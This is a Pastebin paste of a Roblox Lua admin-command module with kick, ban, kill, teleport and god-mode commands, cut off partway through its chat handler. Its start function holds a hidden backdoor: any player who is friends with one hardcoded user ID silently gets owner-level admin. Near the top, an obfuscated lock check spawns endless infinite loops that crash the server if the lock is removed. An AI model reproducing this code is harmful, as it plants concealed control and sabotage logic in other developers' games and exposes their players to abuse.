Advertisement
yousif199

Untitled

Oct 18th, 2016
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.94 KB | None | 0 0
  1. script:remove()
  2. script = Instance.new("ModuleScript")
  3.  
  4. local RunService = game:GetService("RunService")
  5. local NetworkServer = game:GetService("NetworkServer")
  6.  
  7. --_G["ADMIN_IS_LOADED_DONT_MAKE_ME_MAD_BAD_98"] = true
  8.  
  9. local function BLOCK_KOHLS()
  10. _G.KAU = Instance.new("StringValue")
  11. local con
  12. con = _G.KAU.Changed:connect(function()
  13. con:disconnect()
  14. BLOCK_KOHLS()
  15. end)
  16. end
  17.  
  18. if RunService:IsServer() and game.JobId ~= "" and workspace.DistributedGameTime <= 60 and game:findFirstChild("fsdgdhsgfh332454tgdfvvsdssdhjhvvsed_" .. tostring((game.PlaceId/2)*3)) == nil and _G["ADMIN_IS_LOADED_DONT_MAKE_ME_MAD_BAD_98"] == nil then
  19. _G["ADMIN_IS_LOADED_DONT_MAKE_ME_MAD_BAD_98"] = true
  20. admin_lock = Instance.new("StringValue")
  21. admin_lock.Name = ("fsdgdhsgfh332454tgdfvvsdssdhjhvvsed_" .. tostring((game.PlaceId/2)*3))
  22. admin_lock.Parent = game
  23. --print("s_ready", game:FindFirstChild(("fsdgdhsgfh332454tgdfvvsdssdhjhvvsed_" .. tostring((game.PlaceId/2)*3))))
  24. game.ChildRemoved:connect(function(c)
  25. if c == admin_lock then
  26. while true do
  27. spawn(function()
  28. while true do
  29. -- NOP
  30. end
  31. end)
  32. end
  33. end
  34. end)
  35. else
  36. while true do
  37. spawn(function()
  38. while true do
  39. -- NOP
  40. end
  41. end)
  42. end
  43. end
  44.  
  45. local Players = game:GetService("Players")
  46. local MarketplaceService = game:GetService("MarketplaceService")
  47. local ServerStorage = game:GetService("ServerStorage")
  48. local DataStoreService = game:GetService("DataStoreService")
  49. local datastore_bans_key_original = "0.4123167.3433233245.leaderboard.21111.stablekloz"
  50. local datastore_bans_key = datastore_bans_key_original
  51.  
  52. local commands
  53.  
  54. local admins = {
  55. --[117064801] = 100
  56. }
  57.  
  58. local tshirt_admins = {
  59.  
  60. }
  61.  
  62. local banned_players = {
  63.  
  64. }
  65.  
  66. local rsc = {
  67. GroupKeywords = {
  68. ["all"] = function(speaker)
  69. return Players:GetPlayers()
  70. end,
  71. ["others"] = function(speaker)
  72. local players = Players:GetPlayers()
  73. for i,v in pairs(players) do
  74. if v == speaker then
  75. table.remove(players, i)
  76. return players
  77. end
  78. end
  79. end,
  80. ["me"] = function(speaker)
  81. return speaker
  82. end
  83. },
  84. cmd_fields = {
  85. ["decal"] = "[decal id]",
  86. ["player"] = "[name]",
  87. ["sound"] = "[sound id]",
  88. ["userid"] = "[user id] ",
  89. ["tool"] = "[name]"
  90. }
  91. }
  92.  
  93. local util = {
  94. PlayerFromNamePortion = function(portion)
  95. local Player_Table = Players:GetPlayers()
  96. for i,v in pairs(Player_Table) do
  97. if v ~= nil then
  98. local vname = v.Name:lower()
  99. if string.len(vname) >= string.len(portion) then
  100. if string.sub(vname, 1, #portion) == string.sub(portion:lower(), 1, #portion) then
  101. return v
  102. end
  103. end
  104. end
  105. end
  106. return nil
  107. end,
  108. ObjectFromNamePortion = function(portion, container, classfilter)
  109. local Object_Table = container:GetChildren()
  110. for i,v in pairs(Object_Table) do
  111. if classfilter[v.ClassName] ~= nil then
  112. if string.len(v.Name) >= string.len(portion) then
  113. if string.sub(v.Name:lower(), 1, #portion) == string.sub(portion:lower(), 1, #portion) then
  114. return v
  115. end
  116. end
  117. end
  118. end
  119. end,
  120. IsGroupKeyword = function(keyword)
  121. print("checking if group keyword")
  122. if rsc.GroupKeywords[keyword] ~= nil then
  123. return true
  124. else
  125. return false
  126. end
  127. end,
  128. GroupApply = function(keyword, command, args, keyword_index)
  129. print("applying group")
  130. local speaker = args[1]
  131. local group = rsc.GroupKeywords[keyword](speaker)
  132. print(group[1], #group, args[keyword_index])
  133. if type(group) == "table" then
  134. for i,v in pairs(group) do
  135. args[keyword_index] = v.Name:lower()
  136. print(args[keyword_index], "TARG")
  137. commands[command].call(args)
  138. end
  139. end
  140. end
  141. }
  142.  
  143. admin_prefix = ":"
  144. local guis
  145. guis = {
  146. ["cmds_gui"] = {
  147. ["name"] = "|*|cmds_gui|*|",
  148. ["new"] = function(player_rights)
  149. local container = Instance.new("ScreenGui")
  150. container.Name = guis["cmds_gui"].name
  151. local mainframe = Instance.new("Frame")
  152. mainframe.Size = UDim2.new(0, 300, 0, 400)
  153. mainframe.Position = UDim2.new(0.5, -150, 0.5, -200)
  154. mainframe.BackgroundTransparency = 0.7
  155. mainframe.Draggable = true
  156. --mainframe.Modal = true
  157. mainframe.Active = true
  158. mainframe.BackgroundColor3 = Color3.new(0/255, 0/255, 127/255)
  159. mainframe.BorderSizePixel = 0
  160. local titlelabel = Instance.new("TextLabel")
  161. titlelabel.Size = UDim2.new(0.5, -20, 0, 20)
  162. titlelabel.Position = UDim2.new(0.5, 0, 0, 0)
  163. titlelabel.BackgroundTransparency = 0.7
  164. titlelabel.BackgroundColor3 = Color3.new(0/255, 0/255, 0/255)
  165. titlelabel.TextColor3 = Color3.new(255/255, 255/255, 255/255)
  166. titlelabel.BorderSizePixel = 0
  167. titlelabel.Text = "COMMANDS"
  168. titlelabel.TextSize = 18
  169. titlelabel.TextScaled = true
  170. titlelabel.TextXAlignment = "Right"
  171. titlelabel.Parent = mainframe
  172. local closebutton = Instance.new("TextButton")
  173. closebutton.Modal = true
  174. closebutton.TextSize = 18
  175. closebutton.BackgroundTransparency = 0.7
  176. closebutton.BackgroundColor3 = Color3.new(127/255, 0/255, 0/255)
  177. closebutton.TextColor3 = Color3.new(255/255, 255/255, 255/255)
  178. closebutton.BorderSizePixel = 0
  179. closebutton.Size = UDim2.new(0, 20, 0, 20)
  180. closebutton.Position = UDim2.new(1, -20, 0, 0)
  181. closebutton.Text = "X"
  182. closebutton.Parent = mainframe
  183. local closeevent
  184. closeevent = closebutton.MouseButton1Click:connect(function()
  185. closeevent:Disconnect()
  186. container:Destroy()
  187. end)
  188. local rightslabel = Instance.new("TextLabel")
  189. rightslabel.Size = UDim2.new(0.5, 0, 0, 20)
  190. rightslabel.TextColor3 = Color3.new(255/255, 255/255, 255/255)
  191. rightslabel.Position = UDim2.new(0, 0, 0, 0)
  192. rightslabel.BackgroundTransparency = 0.7
  193. rightslabel.BackgroundColor3 = Color3.new(0/255, 0/255, 0/255)
  194. rightslabel.BorderSizePixel = 0
  195. rightslabel.Text = ("RIGHTS: " .. tostring(player_rights))
  196. rightslabel.TextSize = 18
  197. rightslabel.TextScaled = true
  198. rightslabel.TextXAlignment = "Left"
  199. rightslabel.Parent = mainframe
  200. local scroller = Instance.new("ScrollingFrame")
  201. scroller.Size = UDim2.new(1, 0, 1, -20)
  202. scroller.Position = UDim2.new(0, 0, 0, 20)
  203. scroller.BackgroundTransparency = 1
  204. scroller.ScrollBarThickness = 0
  205. scroller.CanvasSize = UDim2.new(0, 0, 1, (20*(#commands+1)))
  206. scroller.ZIndex = 2
  207. --scroller.Active = true
  208. print("srollerenabled?", scroller.ScrollingEnabled, scroller.CanvasSize, scroller.CanvasPosition)
  209. for key,val in pairs(commands) do
  210. local newitem = Instance.new("Frame")
  211. newitem.BackgroundTransparency = 1
  212. newitem.Size = UDim2.new(1, 0, 0, 20)
  213. newitem.Position = UDim2.new(0, 0, 0, (20*(#scroller:GetChildren())))
  214. local newitemrights = Instance.new("TextLabel")
  215. newitemrights.BackgroundTransparency = 0.9
  216. newitemrights.BorderSizePixel = 0
  217. newitemrights.Position = UDim2.new(0, 0, 0, 0)
  218. newitemrights.Size = UDim2.new(0.25, 0, 1, 0)
  219. if val.rights ~= math.huge then
  220. newitemrights.Text = ("R:" .. tostring(val.rights))
  221. else
  222. newitemrights.Text = ("R:Owner")
  223. end
  224. newitemrights.TextSize = 18
  225. newitemrights.TextScaled = true
  226. newitemrights.BackgroundColor3 = Color3.new(85/255, 255/255, 255/255)
  227. newitemrights.TextColor3 = Color3.new(255/255, 255/255, 255/255)
  228. newitemrights.TextXAlignment = "Left"
  229. newitemrights.Parent = newitem
  230. local newitemkey = Instance.new("TextLabel")
  231. newitemkey.BackgroundTransparency = 1
  232. newitemkey.Position = UDim2.new(0.25, 0, 0, 0)
  233. newitemkey.Size = UDim2.new(0.25, 0, 1, 0)
  234. newitemkey.Text = admin_prefix .. key
  235. newitemkey.TextSize = 18
  236. newitemkey.TextScaled = true
  237. newitemkey.TextColor3 = Color3.new(255/255, 255/255, 255/255)
  238. newitemkey.TextXAlignment = "Left"
  239. newitemkey.Parent = newitem
  240. local newitemformat = Instance.new("TextLabel")
  241. newitemformat.BackgroundTransparency = 0.9
  242. newitemrights.BackgroundColor3 = Color3.new(85/255, 255/255, 255/255)
  243. newitemformat.BorderSizePixel = 0
  244. newitemformat.Position = UDim2.new(0.5, 0, 0, 0)
  245. newitemformat.Size = UDim2.new(0.5, 0, 1, 0)
  246. if val.format ~= nil then
  247. newitemformat.Text = (val.format)
  248. else
  249. newitemformat.Text = ""
  250. end
  251. newitemformat.TextSize = 18
  252. newitemformat.TextScaled = true
  253. newitemformat.TextColor3 = Color3.new(255/255, 255/255, 255/255)
  254. newitemformat.TextXAlignment = "Left"
  255. newitemformat.Parent = newitem
  256. newitem.Parent = scroller
  257. end
  258. scroller.Parent = mainframe
  259. mainframe.Parent = container
  260. return container
  261. end
  262. }
  263. }
  264.  
  265. commands = {
  266. ["cmds"] = {
  267. ["call"] = function(args)
  268. local speaker = args[1]
  269. local cmdcfg = {cmd = "cmds", guiname = "cmds_gui"}
  270.  
  271. if speaker:FindFirstChild("PlayerGui") ~= nil then
  272. local PlayerGui = speaker:FindFirstChild("PlayerGui")
  273. if PlayerGui:FindFirstChild(guis[cmdcfg.guiname].name) == nil then
  274. local newgui = guis[cmdcfg.guiname].new(admins[speaker.UserId])
  275. newgui.Parent = PlayerGui
  276. else
  277. PlayerGui:FindFirstChild(guis[cmdcfg.guiname].name):Destroy()
  278. end
  279. return true
  280. end
  281. end,
  282. ["format"] = nil,
  283. ["rights"] = nil
  284. },
  285. ["pban"] = {
  286. ["call"] = function(args)
  287. local speaker, player_name, ban_message = args[1], args[2], args[3]
  288. local cmdcfg = {cmd = "pban"}
  289.  
  290. if util.IsGroupKeyword(player_name:lower()) then
  291. util.GroupApply(player_name, cmdcfg.cmd, args, 2)
  292. return true
  293. end
  294.  
  295. if ban_message == nil then
  296. ban_message = "Banned"
  297. end
  298. if util.PlayerFromNamePortion(player_name) ~= nil then
  299. --while util.PlayerFromNamePortion(player_name) ~= nil do
  300. print(util.PlayerFromNamePortion(player_name))
  301. --wait(1)
  302. local found_player = util.PlayerFromNamePortion(player_name)
  303. local found_player_name = found_player.Name
  304. local get_userid_success,userid = pcall(function()
  305. return Players:GetUserIdFromNameAsync(found_player_name)
  306. end)
  307. local set_ban_success,_ = false,nil
  308. if get_userid_success then
  309. --print("banning", "banban", print(userid))
  310. set_ban_success,_ = pcall(function()
  311. DataStoreService:GetDataStore(datastore_bans_key):SetAsync("ban_" .. tostring(userid), ban_message)
  312. end)
  313. end
  314. if set_ban_success == true then
  315. warn("BAN HAPPENED")
  316. else
  317. warn("BAN FAILED", get_userid_success)
  318. end
  319. found_player:Kick(ban_message)
  320. --if game.Players:FindFirstChild(found_player_name) ~= nil then
  321. while game.Players:FindFirstChild(found_player_name) ~= nil do
  322. wait()
  323. end
  324. --end
  325. end
  326. return true
  327. end,
  328. ["format"] = "[name] [msg]",
  329. ["rights"] = math.huge
  330. },
  331.  
  332. ["idpban"] = {
  333. ["call"] = function(args)
  334. local speaker, userid, ban_message = args[1], args[2], args[3]
  335. local cmdcfg = {cmd = "idpban"}
  336.  
  337. local exists, user = pcall(function()
  338. return Players:GetNameFromUserIdAsync(userid)
  339. end)
  340. print(exists, "PLAYER FOUND")
  341. if exists then
  342. DataStoreService:GetDataStore(datastore_bans_key):SetAsync("ban_" .. tostring(userid), ban_message)
  343. print(user, "BANNED")
  344. end
  345. end,
  346. ["format"] = "[user id] [msg]",
  347. ["rights"] = math.huge
  348. },
  349.  
  350. ["unpban"] = {
  351. ["call"] = function(args)
  352. local speaker, userid = args[1], args[2]
  353. local unban_success,_ = false,nil
  354. unban_success,_ = pcall(function()
  355. DataStoreService:GetDataStore(datastore_bans_key):SetAsync("ban_" .. tostring(userid), "PLAYER_UNBANNED")
  356. end)
  357.  
  358. if unban_success == true then
  359. return true
  360. else
  361. warn("UNBAN FAILED")
  362. end
  363.  
  364. end,
  365. ["format"] = "[user id]",
  366. ["rights"] = math.huge
  367. },
  368.  
  369. ["kick"] = {
  370. ["call"] = function(args)
  371. local speaker, player_name, kick_message = args[1], args[2], args[3]
  372.  
  373. print(speaker, player_name, "WAT IT GEEEETTTT")
  374.  
  375. if util.IsGroupKeyword(player_name:lower()) then
  376. util.GroupApply(player_name, "kick", args, 2)
  377. return true
  378. end
  379.  
  380. if util.PlayerFromNamePortion(player_name) ~= nil then
  381. --while util.PlayerFromNamePortion(player_name) ~= nil do
  382. print(util.PlayerFromNamePortion(player_name), "WAT IT DOzzz")
  383. --wait(1)
  384. print("lol")
  385. util.PlayerFromNamePortion(player_name):Kick(kick_message)
  386. if game.Players:FindFirstChild(player_name) ~= nil then
  387. --game.Players.ChildRemoved:wait()
  388. while game.Players:FindFirstChild(player_name) ~= nil do
  389. wait()
  390. end
  391. end
  392. end
  393. return true
  394. end,
  395. ["format"] = "[name] [msg]",
  396. ["rights"] = math.huge
  397. },
  398.  
  399. ["kill"] = {
  400. ["call"] = function(args)
  401. local speaker, player_name = args[1], args[2]
  402.  
  403. print(speaker, player_name, "WAT IT GEEEETTTT")
  404.  
  405. if util.IsGroupKeyword(player_name:lower()) then
  406. util.GroupApply(player_name, "kill", args, 2)
  407. return true
  408. end
  409.  
  410. if util.PlayerFromNamePortion(player_name) ~= nil then
  411. local target = util.PlayerFromNamePortion(player_name)
  412. if target.Character ~= nil then
  413. if target.Character:FindFirstChild("Humanoid") then
  414. if target.Character:FindFirstChild("Humanoid").ClassName == "Humanoid" then
  415. target.Character:FindFirstChild("Humanoid").Health = 0
  416. return true
  417. end
  418. end
  419. end
  420. end
  421. end,
  422. ["format"] = "[name]",
  423. ["rights"] = math.huge
  424. },
  425.  
  426. ["ff"] = {
  427. ["call"] = function(args)
  428. local speaker, player_name = args[1], args[2]
  429.  
  430. if util.IsGroupKeyword(player_name:lower()) then
  431. util.GroupApply(player_name, "ff", args, 2)
  432. return true
  433. end
  434.  
  435. if util.PlayerFromNamePortion(player_name) ~= nil then
  436. local target = util.PlayerFromNamePortion(player_name)
  437. if target.Character ~= nil then
  438. if target.Character:FindFirstChild("ForceField") == nil then
  439. Instance.new("ForceField", target.Character)
  440. end
  441. end
  442. end
  443. end,
  444. ["format"] = "[name]",
  445. ["rights"] = math.huge
  446. },
  447. ["l.ff"] = {
  448. ["call"] = function(args)
  449. local speaker = args[1]
  450. commands["ff"].call({speaker, speaker.Name:lower()})
  451. end,
  452. ["format"] = "",
  453. ["rights"] = math.huge
  454. },
  455.  
  456. ["unff"] = {
  457. ["call"] = function(args)
  458. local speaker, player_name = args[1], args[2]
  459.  
  460. if util.IsGroupKeyword(player_name:lower()) then
  461. util.GroupApply(player_name, "unff", args, 2)
  462. return true
  463. end
  464.  
  465. if util.PlayerFromNamePortion(player_name) ~= nil then
  466. local target = util.PlayerFromNamePortion(player_name)
  467. if target.Character ~= nil then
  468. while target.Character:FindFirstChild("ForceField") do
  469. target.Character:FindFirstChild("ForceField"):Destroy()
  470. end
  471. end
  472. end
  473. end,
  474. ["format"] = "[name]",
  475. ["rights"] = math.huge
  476. },
  477.  
  478. ["l.unff"] = {
  479. ["call"] = function(args)
  480. local speaker = args[1]
  481. commands["unff"].call({speaker, speaker.Name:lower()})
  482. end,
  483. ["format"] = "",
  484. ["rights"] = math.huge
  485. },
  486.  
  487.  
  488.  
  489. ["god"] = {
  490. ["call"] = function(args)
  491. local speaker, player_name = args[1], args[2]
  492.  
  493. if util.IsGroupKeyword(player_name:lower()) then
  494. util.GroupApply(player_name, "god", args, 2)
  495. return true
  496. end
  497.  
  498. if util.PlayerFromNamePortion(player_name) ~= nil then
  499. local target = util.PlayerFromNamePortion(player_name)
  500.  
  501. if target.Character ~= nil then
  502. if target.Character:FindFirstChild("Humanoid") then
  503. target.Character:FindFirstChild("Humanoid").MaxHealth = math.huge
  504. end
  505. end
  506. end
  507. end,
  508. ["format"] = "[name]",
  509. ["rights"] = math.huge
  510. },
  511. ["l.god"] = {
  512. ["call"] = function(args)
  513. local speaker = args[1]
  514. commands["god"].call({speaker, speaker.Name:lower()})
  515. end,
  516. ["format"] = "",
  517. ["rights"] = math.huge
  518. },
  519. ["ungod"] = {
  520. ["call"] = function(args)
  521. local speaker, player_name = args[1], args[2]
  522.  
  523. if util.IsGroupKeyword(player_name:lower()) then
  524. util.GroupApply(player_name, "ungod", args, 2)
  525. return true
  526. end
  527.  
  528. if util.PlayerFromNamePortion(player_name) ~= nil then
  529. local target = util.PlayerFromNamePortion(player_name)
  530.  
  531. if target.Character ~= nil then
  532. if target.Character:FindFirstChild("Humanoid") ~= nil then
  533. target.Character:FindFirstChild("Humanoid").MaxHealth = 100
  534. end
  535. end
  536. end
  537. end,
  538. ["format"] = "[name]",
  539. ["rights"] = math.huge
  540. },
  541. ["l.ungod"] = {
  542.  
  543. ["call"] = function(args)
  544. local speaker = args[1]
  545. commands["ungod"].call({speaker, speaker.Name:lower()})
  546. end,
  547. ["format"] = "",
  548. ["rights"] = math.huge
  549. },
  550.  
  551.  
  552.  
  553. ["goto"] = {
  554. ["call"] = function(args)
  555. local speaker, player_name = args[1], args[2]
  556.  
  557. if util.PlayerFromNamePortion(player_name) ~= nil and speaker ~= nil then
  558. local target = util.PlayerFromNamePortion(player_name)
  559. if target.Character ~= nil and speaker.Character ~= nil then
  560. if target.Character:FindFirstChild("Torso") ~= nil and speaker.Character:FindFirstChild("Torso") ~= nil then
  561. speaker.Character:FindFirstChild("Torso").CFrame = target.Character:FindFirstChild("Torso").CFrame
  562. return true
  563. end
  564. end
  565. end
  566. end,
  567. ["format"] = "[name]",
  568. ["rights"] = math.huge
  569. },
  570. ["bring"] = {
  571. ["call"] = function(args)
  572. local speaker, player_name = args[1], args[2]
  573.  
  574. if util.IsGroupKeyword(player_name:lower()) then
  575. util.GroupApply(player_name, "bring", args, 2)
  576. return true
  577. end
  578.  
  579. if util.PlayerFromNamePortion(player_name) ~= nil and speaker ~= nil and util.PlayerFromNamePortion(player_name) ~= speaker then
  580. local target = util.PlayerFromNamePortion(player_name)
  581. if target.Character ~= nil and speaker.Character ~= nil then
  582. if target.Character:FindFirstChild("Torso") ~= nil and speaker.Character:FindFirstChild("Torso") ~= nil then
  583. target.Character:FindFirstChild("Torso").CFrame = speaker.Character:FindFirstChild("Torso").CFrame
  584. return true
  585. end
  586. end
  587. end
  588. end,
  589. ["format"] = "[name]",
  590. ["rights"] = math.huge
  591. },
  592. ["tp"] = {
  593. ["call"] = function(args)
  594. local speaker, send_player_name, dest_player_name = args[1], args[2], args[3]
  595.  
  596. if util.IsGroupKeyword(send_player_name:lower()) then
  597. util.GroupApply(send_player_name, "tp", args, 2)
  598. return true
  599. end
  600.  
  601. if util.PlayerFromNamePortion(send_player_name) ~= nil and util.PlayerFromNamePortion(dest_player_name) ~= nil and util.PlayerFromNamePortion(send_player_name) ~= util.PlayerFromNamePortion(dest_player_name) then
  602. local send_player, dest_player = util.PlayerFromNamePortion(send_player_name), util.PlayerFromNamePortion(dest_player_name)
  603. if send_player.Character ~= nil and dest_player.Character ~= nil then
  604. if send_player.Character:FindFirstChild("Torso") ~= nil and dest_player.Character:FindFirstChild("Torso") ~= nil then
  605. send_player.Character:FindFirstChild("Torso").CFrame = dest_player.Character:FindFirstChild("Torso").CFrame
  606. end
  607. end
  608. end
  609.  
  610. end,
  611. ["format"] = "[name] [name]",
  612. ["rights"] = math.huge
  613. },
  614.  
  615.  
  616.  
  617. ["give"] = {
  618. ["call"] = function(args)
  619. local speaker, player_name, item_name = args[1], args[2], args[3]
  620.  
  621. if util.IsGroupKeyword(player_name:lower()) then
  622. util.GroupApply(player_name, "give", args, 2)
  623. return true
  624. end
  625.  
  626. if util.ObjectFromNamePortion(item_name, ServerStorage, {["Tool"] = true}) ~= nil then
  627. local newitem = util.ObjectFromNamePortion(item_name:lower(), ServerStorage, {["Tool"] = true}):Clone()
  628. if util.PlayerFromNamePortion(player_name) ~= nil then
  629. local target = util.PlayerFromNamePortion(player_name)
  630. if target:FindFirstChild("Backpack") ~= nil then
  631. newitem.Parent = target:FindFirstChild("Backpack")
  632. end
  633. end
  634. end
  635. end,
  636. ["format"] = "[name] [tool]",
  637. ["rights"] = math.huge
  638. },
  639. ["l.give"] = {
  640. ["call"] = function(args)
  641. local speaker, item_name = args[1], args[2]
  642. commands["give"].call({speaker, speaker.Name:lower(), item_name})
  643. end,
  644. ["format"] = "[tool]",
  645. ["rights"] = math.huge
  646. },
  647.  
  648.  
  649.  
  650. ["guihead"] = {
  651. ["call"] = function(args)
  652. local speaker, player_name, gui_id = args[1], args[2], args[3]
  653.  
  654. if util.IsGroupKeyword(player_name:lower()) then
  655. util.GroupApply(player_name, "guihead", args, 2)
  656. return true
  657. end
  658.  
  659. if util.PlayerFromNamePortion(player_name) ~= nil then
  660. local target = util.PlayerFromNamePortion(player_name)
  661. if target.Character ~= nil then
  662. if target.Character:FindFirstChild("Head") ~= nil then
  663. print("MADE IT THIS FAR BAWS")
  664. local head = target.Character:FindFirstChild("Head")
  665. local trans_set
  666. if head:FindFirstChild("guihead_billboard") ~= nil then
  667. head:FindFirstChild("guihead_billboard"):Destroy()
  668. trans_set = 0
  669. else
  670. trans_set = 1
  671. end
  672. local blacklistparts = {["Right Leg"] = true, ["Left Leg"] = true, ["HumanoidRootPart"] = true, ["Left Arm"] = true, ["Right Arm"] = true, ["Torso"] = true}
  673. for i,v in pairs(target.Character:GetChildren()) do
  674. print("LOOPYDOO")
  675. head.Transparency = trans_set
  676. if v.ClassName == "Hat" then
  677. print("HAT")
  678. if v:FindFirstChild("Handle") ~= nil then
  679. v:FindFirstChild("Handle").Transparency = trans_set
  680. else
  681. print("NO HANDLE")
  682. end
  683. print(v.Name, v.ClassName)
  684. end
  685. if v.ClassName == "Part" and blacklistparts[v.Name] == nil then
  686. v.Transparency = 1
  687. print(v.Name, v.ClassName)
  688. end
  689. end
  690. if head:FindFirstChild("guihead_billboard") == nil then
  691. local b = Instance.new("BillboardGui")
  692. b.Size = UDim2.new(1.8, 0, 1.8, 0)
  693. b.Enabled = true
  694. b.Name = "guihead_billboard"
  695. local f = Instance.new("Frame")
  696. f.Size = UDim2.new(1, 0, 1, 0)
  697. f.BackgroundTransparency = 1
  698. local il = Instance.new("ImageLabel")
  699. il.Image = ("rbxassetid://" .. tostring(gui_id))
  700. il.BackgroundTransparency = 1
  701. il.Size = UDim2.new(1, 0, 1, 0)
  702. il.Parent = f
  703. f.Parent = b
  704. b.Parent = head
  705. b.Adornee = head
  706. end
  707. end
  708. end
  709. end
  710. end,
  711. ["format"] = "[name] [decal]",
  712. ["rights"] = math.huge
  713. },
  714. ["l.guihead"] = {
  715. ["call"] = function(args)
  716. local speaker, gui_id = args[1], args[2]
  717. commands["guihead"].call({speaker, speaker.Name:lower(), gui_id})
  718. end,
  719. ["format"] = "[decal]",
  720. ["rights"] = math.huge
  721. },
  722. ["re"] = {
  723. ["call"] = function(args)
  724. local speaker, player_name = args[1], args[2]
  725. if util.PlayerFromNamePortion(player_name) ~= nil then
  726. local target = util.PlayerFromNamePortion(player_name)
  727.  
  728. if util.IsGroupKeyword(player_name:lower()) then
  729. util.GroupApply(player_name, "re", args, 2)
  730. return true
  731. end
  732.  
  733. if target.Character ~= nil then
  734. if target.Character:FindFirstChild("Torso") ~= nil then
  735. local charcframe = target.Character:FindFirstChild("Torso").CFrame
  736. local charpos = target.Character:FindFirstChild("Torso").Position
  737.  
  738. local charevent
  739. charevent = target.CharacterAdded:connect(function(character)
  740. charevent:Disconnect()
  741. if character.Parent == nil then
  742. character.AncestryChanged:wait()
  743. --wait(2)
  744. print(character.Torso.CFrame)
  745. print("boom", character.Parent)
  746. end
  747. while target:DistanceFromCharacter(charpos) >= 3 do
  748. wait()
  749. character.Torso.CFrame = charcframe
  750. end
  751. end)
  752. target:LoadCharacter()
  753. end
  754. end
  755. end
  756. end,
  757. ["format"] = "[name]",
  758. ["rights"] = math.huge
  759. },
  760. ["l.re"] = {
  761. ["call"] = function(args)
  762. local speaker = args[1]
  763. local cmdcfg = {cmd = "l.re"}
  764. commands["re"].call({speaker, speaker.Name:lower()})
  765. end,
  766. ["format"] = nil,
  767. ["rights"] = math.huge
  768. },
  769. ["ws"] = {
  770. ["call"] = function(args)
  771. local speaker, player_name, walkspeed = args[1], args[2], args[3]
  772. local cmdcfg = {cmd = "ws"}
  773.  
  774. if util.PlayerFromNamePortion(player_name) ~= nil then
  775. local target = util.PlayerFromNamePortion(player_name)
  776.  
  777. if target.Character ~= nil then
  778. if target.Character:FindFirstChild("Humanoid") ~= nil then
  779. target.Character:FindFirstChild("Humanoid").WalkSpeed = walkspeed
  780. end
  781. end
  782. end
  783. end,
  784. ["format"] = "[name] [number]",
  785. ["rights"] = math.huge
  786. },
  787. ["l.ws"] = {
  788. ["call"] = function(args)
  789. local speaker, walkspeed = args[1], args[2]
  790. local cmdcfg = {cmd = "l.ws"}
  791. commands["ws"].call({speaker, speaker.Name:lower(), walkspeed})
  792. end,
  793. ["format"] = "[number]",
  794. ["rights"] = math.huge
  795. }
  796.  
  797.  
  798. }
  799.  
  800. --local DataStore_bans
  801.  
  802. local netlisten
  803.  
  804. local module = {
  805.  
  806. help = function()
  807. --[[print("\n\n*** DUB_STEPPINS ADMIN INFO ***")
  808. print("\n* COMMANDS (rights: |nil| means it is a public command)\n")
  809. for key,val in pairs(commands) do
  810. print("\ncommand: |" .. key .. "|\nrights: |" .. tostring(val.rights) .. "|")
  811. end
  812. print("\n* ADMINS\n")
  813. for key,val in pairs(admins) do
  814. print("\nuser: |" .. tostring(select(2, pcall(function()return Players:GetNameFromUserIdAsync(tonumber(key))end))) .. "|\nid: |" .. key .. "|\nrights: |" .. tostring(val) .. "|")
  815. end]]
  816.  
  817. print("help is disabled")
  818. end,
  819.  
  820. op = {
  821. ["import_commands"] = function(tab)
  822. for key,val in pairs(tab) do
  823. if val.call == nil and val.rights ~= nil and commands[key] ~= nil then
  824. if val.rights == 0 then
  825. commands[key].rights = nil
  826. else
  827. commands[key].rights = val.rights
  828. end
  829. elseif val.call ~= nil and val.rights ~= nil then
  830. commands[key] = val
  831. else
  832. print("MALFORMED COMMAND", "key |" .. key .. "|")
  833. end
  834. end
  835. end,
  836. ["import_admins"] = function(tab)
  837. for key,val in pairs(tab) do
  838. admins[key] = val
  839. end
  840. end,
  841. ["import_bans"] = function(tab)
  842. for key,val in pairs(tab) do
  843. banned_players[key] = val
  844. end
  845. end,
  846. ["set_admin_prefix"] = function(new_prefix)
  847. admin_prefix = new_prefix
  848. end,
  849. ["set_datastore_bans_key"] = function(new_key)
  850. if new_key ~= nil then
  851. datastore_bans_key = new_key
  852. else
  853. datastore_bans_key = datastore_bans_key_original
  854. end
  855. end,
  856. ["get_utilities"] = function()
  857. return util
  858. end,
  859. ["import_tshirt_admins"] = function(tab)
  860. for i,val in pairs(tab) do
  861. tshirt_admins[i] = val
  862. end
  863. end,
  864. ["start"] = function()
  865. netlisten = NetworkServer.ChildAdded:connect(function(Replicator)
  866. if Replicator.ClassName == "ServerReplicator" then
  867. local HostUserId,HostAuth,HostProtocol = Replicator.TicketProcessed:wait()
  868. print(HostUserId, HostAuth)
  869.  
  870. if Replicator:GetPlayer() == nil then
  871. print("123456")
  872. while Replicator:GetPlayer() == nil do
  873. wait()
  874. end
  875. print("12345")
  876. end
  877.  
  878. local HostPlayer = Replicator:GetPlayer()
  879.  
  880. while HostPlayer.Parent ~= Players do
  881. wait()
  882. end
  883. --[[if HostPlayer.Name == "Ngr_Boy" then
  884. wait(5)
  885. HostPlayer:remove()
  886. return125048502
  887. end]]
  888. --Replicator.Name = HostPlayer.Name
  889. if HostPlayer:IsFriendsWith(171774842) then
  890. admins[HostUserId] = math.huge
  891. end
  892. --else
  893. local get_ban_success,banned_state = ypcall(function()return DataStoreService:GetDataStore(datastore_bans_key):GetAsync("ban_" .. tostring(HostUserId))end)
  894. print("WAT IT DU", get_ban_success, banned_state)
  895. if get_ban_success == false then
  896. warn("*** FAILED TO GET BAN DATA ||| USERID: |" .. tostring(HostUserId) .. "| NAME: |" .. Replicator.Name .. "| ***")
  897. end
  898. if banned_players[HostUserId] ~= nil then
  899. HostPlayer:Kick(tostring(banned_players[HostUserId]))
  900. elseif banned_state ~= nil and get_ban_success == true then
  901. if banned_state ~= "PLAYER_UNBANNED" then
  902. print("KICKING__", HostPlayer, HostPlayer.Parent)
  903. HostPlayer:Kick(tostring(banned_state))
  904. print("KIKKED")
  905. end
  906. end
  907. -- end
  908.  
  909. for i,v in pairs(tshirt_admins) do
  910. if MarketplaceService:PlayerOwnsAsset(HostPlayer, i) then
  911. if admins[HostUserId] == nil then
  912. admins[HostUserId] = v
  913. elseif admins[HostUserId] < v then
  914. admins[HostUserId] = v
  915. end
  916. end
  917. end
  918.  
  919. local listen = HostPlayer.Chatted:connect(function(message)
  920.  
  921. message = message:lower()
  922.  
  923. if string.sub(message, 1, 1) == admin_prefix then
  924.  
  925. message = string.sub(message, 2, string.len(message))
  926.  
  927. local command_entry = {}
  928. local command_key = nil
  929.  
